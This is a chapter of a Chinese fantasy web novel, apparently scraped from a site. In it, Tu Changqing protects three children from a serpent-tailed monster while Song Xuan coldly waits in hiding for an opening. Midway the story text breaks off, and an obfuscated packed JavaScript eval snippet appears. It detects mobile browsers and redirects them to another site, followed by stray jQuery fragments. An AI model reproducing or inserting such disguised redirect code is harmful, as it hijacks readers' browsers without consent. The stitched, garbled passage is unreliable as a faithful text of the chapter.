84.第八十四章
作品:《五州宣明录》 屠长卿连滚带爬,发出惊天动地的惨叫声:“宋宣!宋宣!救救我——”
三个孩子,一个比一个哭得响。
宋宣连影子都没有。
蛇尾怪物焦急地游动,翳白带血丝的眼睛里看不见人影,扁平的鼻子在抽动,嘴里吐出长长的信子。
它用巨大的尾巴将所有出口堵住,然后搜索寻找,一个个数过食物的数量,确认血脉气息,然后陷入狂怒:“她呢?!她在哪里!”
屠长卿早已魂飞魄散,听不懂它在说什么,也不敢问,拼命思考怎样活下来。
从小到大,他也不是没遇过危险,但是,在家有强势的母亲舅舅和姐姐们护在前面,出门有霸道的宋宣护在前面,他胆小谨慎,乖巧听话,从来没遇过,要护在别人前面的情况。
如今,强大的守护者们都不在,身后是群年幼的孩子,他是唯一的大人,纵使不敌,也要硬上。
屠长卿的腿抖得都快站不住了,但他效仿宋宣无所畏惧的模样,高高昂起头,强撑着不哭,安慰孩子:“不怕,不怕,我保护你们,阿宣一定会救我的。”
想到那个女人,心里便有信念。
他的头脑再次变得清明,生死度外,所有学过的防御手法浮现眼前,无数的数据在交叠计算,迅速构架出最合适的方案。
金刚六灵环开阵,封印在法器里的六道灵兽魂魄涌出,攻向蛇尾怪物,分散它的注意力。
灵兽是西州特有的仙禽和异兽,并不强大,但里面有娇小灵活的山间雀和迷踪鼠,难以捕捉,可以混淆注意力,又丢出几十种不同的香料,猛烈的香味混合在一起,呛得人难受。
“恭请山爷开路,祝愿百矿益福。”
屠长卿飞快地画出召灵阵,里面慢悠悠地爬出一只巨大的灵兽灵魄,浑身布满厚鳞,形似穿山甲,头上有独角,琉璃珠般大小的眼睛,黝黑暗沉,里面都是憨厚和单纯。
西州有两种从上古流传下来的守护灵兽,世代受供奉,一是保家鼠,尊称鼠姑,性胆小,以香花为食,擅清理宅院;二是镇山甲,尊称山爷,性温和,以矿石为食,擅打洞钻地。
这只山爷是屠家的老祖宗,认识屠长卿这个“没出息”的小辈,对他笨拙的挖矿技术极不放心,听闻召唤,千里迢迢分出神魄赶来,头都不抬,挥动爪子,替他在岩壁上快速挖了个深洞,动作轻巧,寂无声息,然后它在洞里叹了口气,摇摇头,遗憾地离开了。
葛天荣震惊:“长卿哥,不知为何,我觉得它走前看你的那一眼,很是嫌弃,它该不会以为你是叫它来挖矿吧……”
山爷眼神不好,只喜欢挖矿。
屠长卿从没找准过任何矿脉,习惯被山爷嫌弃了。他想在坚硬的岩壁上开条新路逃跑,奈何山爷是用灵体过来,相距甚远,能力受限,挖不了太长的路,但勉强能藏身。
他拉着孩子躲进新挖的小洞窟里,双手翻飞,在洞口放置遮蔽气息的法器,拖延怪物发现的时间,然后一层又一层地布阵,不求最好,只求最多。
屠长卿向孩子解释:“我们打不过,只能拖时间,等宋宣来救援,才有一线生机。”
葛天荣乖觉,帮忙把画好阵法的石头堆去洞口,莫家宝和莫家珍虽然怯弱,但被金笼折磨那么久,爹娘不在身边,早已不敢哭闹,他们安静地躲在洞窟的最角落,不给大家添麻烦。
莫家宝捂着莫家珍的眼睛,带着哭腔,小声安慰:“妹妹别看,不看就不怕了,咱们那么小,就算被吃也是一口吞,不会疼的。”
莫家珍小声抽泣:“哥哥,我不怕,我想娘……”
愁云惨淡,希望渺茫。
屠长卿拼命祈祷:“阿宣,你快找到我们……”
……
宋宣在哪里?
她从未离开,高高地躲在岩壁间,冷酷地看着眼前的绝望景象,听着哀求和哭叫,心里毫无波澜。
镜姬能通过水镜,感应到怪物的位置,她敏锐的直觉,也预知怪物的到来。所以,她在危机来临前,让镜姬屏蔽了自己的气息,悄悄躲藏起来。
她早就发现蛇尾怪物是冲着自己来的。迷宫秘境会变换位置,若是她带着众人行动,怪物会一直盯着她,让她没有寻找水镜的机会。若是她告诉屠长卿分头行动,自己在背后保护,屠长卿和孩子会因为依赖而露出破绽,缺少拼死抵抗的勇气,依旧让怪物追着她而去。
如今情形,恰到好处。
屠长卿以为她失踪,彻底慌了,为求生,爆发出无限的潜力。蛇尾怪物突然失去目标,心里疑惑,会将注意力放在屠长卿身上,要先杀他们,搜魂求答案。
她耐心地等待着机会的到来。
蛇尾怪物捏碎金刚六灵阵,左右四顾,没费多少气力,便找到了在石洞里瑟瑟发抖的四个人。它伸出锐利的爪子,轻而易举,就像捏碎一个脆弱的蛋壳,第一层画满符咒的石头转瞬化为粉末。
宋宣确认,怪物的攻击力很强,远胜白河城城主,只要被击中,非死即伤。
蛇尾怪物伸出爪子,要把洞窟里的猎物掏出来。
数道烈焰灵火在隐藏的阵法里冒出,击向它的身体,落在鳞片上,没有造成任何伤痕,力道就像兔子踢了脚老虎,只让蛇尾怪物稍微迷惘了一会,似乎在思考是什么打了自己。
宋宣确认,怪物麟片的防御很高,不能正面攻击。她将目光游走,重点观察怪物身上没有麟片覆盖的位置,腹部,眼睛和嘴巴。
屠长卿见自己最厉害的符都伤不了怪物分毫,精心布置的防御阵法毁坏,心里愈发绝望。
他咬紧牙关,双手如飞,几乎倒空储物空间里的东西,脑海快速计算,布置法器,画符咒,设置防御障碍。熟练的幻阵、火阵、冰阵、金刚阵轮番上,不熟练的傀儡术、狂风术、厚土术也尝试用,操控箱子去砸怪物,吸引注意力,乱吹风沙往怪物的嘴里钻……
时间精确到须臾,布局一环扣着一环,打得花团锦簇,莫名其妙,毫无作用,不求杀敌,只求拖延。
怪物被箱子砸了好几下,虽然不痛不痒,但它看见猎物竟敢反抗,心生怒意,巨大的蛇尾重重抽向石壁,一力破十巧,乱石崩塌,砸向洞窟里的人。
莫家珍被碎石打中脑袋,血从里面沁出,沿着额头流下,她一声不吭就晕了过去,莫家宝见状,以为妹妹死了,发出惊恐的哭叫声。
葛天荣也被砸了好几下,痛得呲牙咧嘴,还没来得及哭,洞窟顶端,千斤巨石摇晃数下,砸在他的身上。
要死了要死了。
葛天荣躲无可躲,绝望闭眼,忽然,一件法衣落在他身上,散发出淡淡的光晕。
他听见石头轰然落地的巨响,没有感到疼痛,睁开眼,却见屠长卿被石头重重压住,左腿骨头折断,浑身都是伤痕,倒在血泊中,白色的中衣被染出朵朵殷红花朵。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16910975|188732||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
他叫道:“哥哥,哥哥——”
每天都和屠长卿顶嘴吵架,他知道自己调皮捣蛋,撒谎讨嫌,不是好孩子,也知道屠长卿不喜欢他缠着宣姐姐,可是,他万万想不到,屠长卿会把最后一件救命的法衣让给最讨厌的他。
葛天荣嚎啕大哭:“哥哥,我再不叫你叔叔,再不和你抢姐姐了,你别死,我听你的话,我去读书,我做好孩子,你快活过来!不要吓我!”
屠长卿睁开眼,微弱地动了动。
蛇尾怪物掀开巨石,粗鲁地拎着他散乱的长发,从血泊里拖出去,吊在空中,舔了舔血的味道,露出满意的表情。
屠长卿痛得浑身抽搐,他虚弱地叫道:“阿宣,阿宣……”
葛天荣拼命想制止,他冲出去,用小小的拳头捶打怪物的尾巴,不管不顾地咆哮道:“王八蛋!放开哥哥!宣姐姐,姐姐,你在哪里?!再不出来,哥哥要被吃掉了啊——”
宋宣仍然在等待,对眼前惨状视若无睹,就连心跳都没有变化,平稳得就像一块万年不变的钢铁岩石。
镜姬都忍不住了,她用心声传话,问:“他快死了,你真不管?”
宋宣紧紧凝视着蛇尾怪物的动作,仿佛天地间,除了目标外,没有任何值得关注的。
镜姬轻声道:“你不愧是……”
她恍惚间,好像看见了当年的狼母影子,匍匐在冰天雪地的尸堆里,纵使被冰魔砸落的冰雪埋在里面,被蛊魔的毒虫撕咬身体,也纹丝不动。
上古的神明多如繁星,有男人盖世神力,有女人智谋无双,唯有狼母,她相貌丑陋,身材矮小,不甚聪明,也不够强大。但她有视死如生的疯狂,忍受任何痛苦的意志,匪夷所思的耐心。
她能为屠杀北州部落的恶徒,潜伏十年,神出鬼没,折磨得北州人改了传统,再不残害小孩。她能为杀一头魔物,埋伏在黑暗里,半个月纹丝不动,直到魔物放松警惕,方咬断它的咽喉。
她麾下的狼军,个个都是不怕痛也不怕死的疯子,有十四岁的南州少女,平凡普通,手无缚鸡之力,却在体内种下赤火噬雷花,让紫雷刺瞎眼睛,烈焰烧掉喉咙,忍耐焚心剧痛,若无其事地充作祭品羔羊,把自己送进魔物的嘴里,焚毁魔物洞窟。
微明仙君书写的历史里,刻下了这个少女的名字和事迹,她叫阿生。她的家,她的部族早已毁在魔物的袭击下,所以,她进入狼军,化成了一头恶狼。
狼母教授狼子和狼女们,狩猎的技巧,暗杀的技巧。她教的东西很容易,用起来却很难。
她也教过那个女人……
镜姬从遥远的回忆中醒过来,她看见宋宣潜伏的姿态就和狼母一模一样,不远处的蛇尾怪物已张开血盆大口,露出里面数排獠牙,要把屠长卿往里面丢。
屠长卿绝望地悲鸣,他回光返照,并发出顽强的求生意志,死死抱住怪物的爪子,不顾疼痛,断腿在空中乱蹬,眼泪鼻涕满脸,再没有半点君子风度,他在疯狂求救:“阿宣,阿宣,我不想死,求求你,救救我——”
宋宣紧握住手中长刀,她没有找到弱点,她没有足够的把握,必须耐心等待。
小时候,梦境里曾有看不清面孔的女人教过她:
世上没有不可失去的东西,世上没有不可忍受的痛苦。
天地棋局,命做棋子,落子无悔。
狩猎者为了目标,需付出一切代价。

